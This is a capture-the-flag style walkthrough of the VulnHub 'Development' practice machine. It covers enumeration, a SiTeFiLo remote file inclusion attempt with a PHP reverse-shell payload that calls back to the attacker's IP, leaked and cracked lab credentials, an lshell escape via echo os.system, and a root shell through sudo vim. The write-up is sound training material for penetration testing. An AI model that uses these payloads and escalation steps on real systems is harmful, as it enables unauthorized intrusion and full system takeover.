

Development

Machine IP:

192.168.174.132

Domain:

dev.vh

This machine reminds us of a DEVELOPMENT environment: misconfigurations rule the roost. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived, and made slightly more nefarious than the original.

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Development is (#1): different from production, (#2): a mess of code, (#3): under construction.

Note: Some users report the box may seem to be "unstable" with aggressive scanning. The homepage gives a clue why.

Feel free to contact the author at <https://donavan.sg/blog> if you would like to drop a comment.

nmap

```
(teja@kali)-[~/vulnhub/development]
$ nmap -sV -sC 192.168.174.132 -oN nmapscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 22:48 EDT
Nmap scan report for 192.168.174.132
Host is up (0.00026s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 79072b2c2c4e140ae7b36346c6b3ad16 (RSA)
|_  256 246b85e3ab905cecd5834954cd983195 (ED25519)
113/tcp   open  ident?
|_ auth-owners: oident
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_ auth-owners: root
445/tcp   open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
|_ auth-owners: root
8080/tcp   open  http-proxy   IIS 6.0
```

Enumeration

Can't use gobuster because there is apparently a "Host intrusion detection system" that is just terminating the connection whenever rapid requests are made by gobuster.

Source code revealed `/development` page

<http://dev.vh:8080/development>

Under development we have a variety of projects.

`/test.pcap`: a simple bash script that allows Director, from the comfort of his desk, to be routinely fed network information. He can then employ a scraper to download the .pcap files to view at his own convenience.

`/development.html`: the landing page to our development secret page. Only insiders will know!

`/registration`: under construction.


We are also testing a very simple web-based log-in form, a HIDS called OSSEC (heard it is awesome) and some other developments.

The question is, do you know what to do? Try harder!

Downloaded `test.pcap` from <http://dev.vh:8080/test.pcap>

Found a "secret" page from the test.pcap

`/developmentsecretpage`




<http://dev.vh:8080/developmentsecretpage/directortestpagev1.php>

Found another page:

<http://dev.vh:8080/developmentsecretpage/sitemap.php>

Found a login page




Username:

Password:

Enter

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When tried to login with dummy creds:



Deprecated: Function ereg_replace() is deprecated in `/var/www/html/developmentsecretpage/slogin_lib.inc.php` on line 335

Deprecated: Function ereg_replace() is deprecated in `/var/www/html/developmentsecretpage/slogin_lib.inc.php` on line 336

Hi Director! This is the test page to provide Director with eye-catching updates.

We know Director is busy and hence needs updates delivered in a timely manner.

Patrick and I will routinely update this page with a pop-up that details if there is anything important.

Regards
Patrick
Head, Development Network

[Click here to log out.](#)

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Googling `slogin_lib.inc.php` shows a vulnerability in Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion

<https://www.exploit-db.com/exploits/7444>

```
EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
```

SiTeFiLo - the login is done from a simple text file.

Vulnerable code:

```
[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]
```

Since the `slogin_path` variable is directly appended to the `header.inc.php` - we can create `header.inc.php` with a reverse shell code, host it on our server and make a request by putting `slogin_path` as our host.

`header.inc.php`

```
$sock=fsockopen("192.168.174.131",1560);system("sh <&3 >&3 2>&3");
```

http://dev.vh:8080/developmentsecretpage/slogin_lib.inc.php?slogin_path=http://192.168.174.131:8000/

Didn't work. We are not even getting a request to the python HTTP server for the file.


But there is another bug of Sensitive Data disclosure for the same SiTeFiLo. We can see the text file that contains the creds

```
[!] EXPLOIT: /[path]/slog_users.txt
```

http://dev.vh:8080/developmentsecretpage/slog_users.txt

```
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81
patrick, 87e6d56ce79af90dbe07d387d3d0579e
qiu, ee64497098d0926d198f54f6d5431f98
```

Hashes cracked with hashes.com



```
patrick:P@ssw0rd25
intern:12345678900987654321
qui:qiu
```

admin password could not be cracked.

SSH login worked for intern creds.

Shell is restricted.

```
intern:~$ whoami
*** unknown syntax: whoami
intern:~$ sudo -l
*** forbidden sudo -> sudo -l
intern:~$ sl
*** unknown syntax: sl
intern:~$ ls
access local.txt work.txt
intern:~$ cat local.txt
*** unknown syntax: cat
intern:~$ more work.txt
*** unknown syntax: more
intern:~$ cd access
intern:~/access$ ls
IA64 tcpdump.txt W32ALPHA W32MIPS W32PPC W32X86 WIN40 x64
intern:~/access$ cat tcpdump.txt
*** unknown syntax: cat
intern:~/access$ hostname
*** unknown syntax: hostname
intern:~/access$ pwd
*** unknown syntax: pwd
intern:~/access$
```

Privilege Escalation

As we knew port 22 is open for ssh so here I try to login with intern user. After the login, I found a list of commands that are allowed to run in this shell. I tried to run 'ls' as it was one of the allowed commands. I found 'local.txt' and 'work.txt' but when we try to open them,

```
ssh intern@192.168.1.104
?
ls
cat local.txt
```

Allowed commands:

```
Welcome to Development!
Type '?' or 'help' to get the list of allowed commands
intern:~$
intern:~$ ?
cd clear echo exit help ll lpath ls
intern:~$
```

This is a limited shell.

<https://0xffsec.com/handbook/shells/restricted-shells/>

```
intern:~$ echo $SHELL
/usr/local/bin/lshell
intern:~$
```

The shell is `lsshell` <https://github.com/ghantoos/lshell>

The shell can be bypassed: <https://www.aldeid.com/wiki/Lshell>

Security

Bypassing lshell with os.system

lshell can be easily bypassed provided you have access to the "echo" command:

With lshell, the user is restricted to a number of limited commands:

```
user:~$ id
*** unknown command: id
user:~$ help
cd clear echo exit help ll lpath ls
```

But it can be easily bypassed:

```
user:~$ echo os.system('/bin/bash')
user@lshell:~$ id
uid=1000(user) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugin),110(lshell)
```

Now we have a proper shell.

```
echo os.system('/bin/bash')
```

We can switch to patrick as we already have the password from before.

```
su patrick
```

```
patrick@development:/tmp$ sudo -l
Matching Defaults entries for patrick on development:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User patrick may run the following commands on development:
  (ALL) NOPASSWD: /usr/bin/vim
  (ALL) NOPASSWD: /bin/nano
```

vim and nano dont require password.

GTFO bins for vim: <https://gtfobins.github.io/gtfobins/vim/>

Spawn a new bash shell with vim

```
patrick@development:/tmp$ vim -c '!/bin/bash'
patrick@development:/tmp$ sudo vim -c '!/bin/bash'
root@development:/tmp# whoami
root
root@development:/tmp#
```

Ta-da! We root!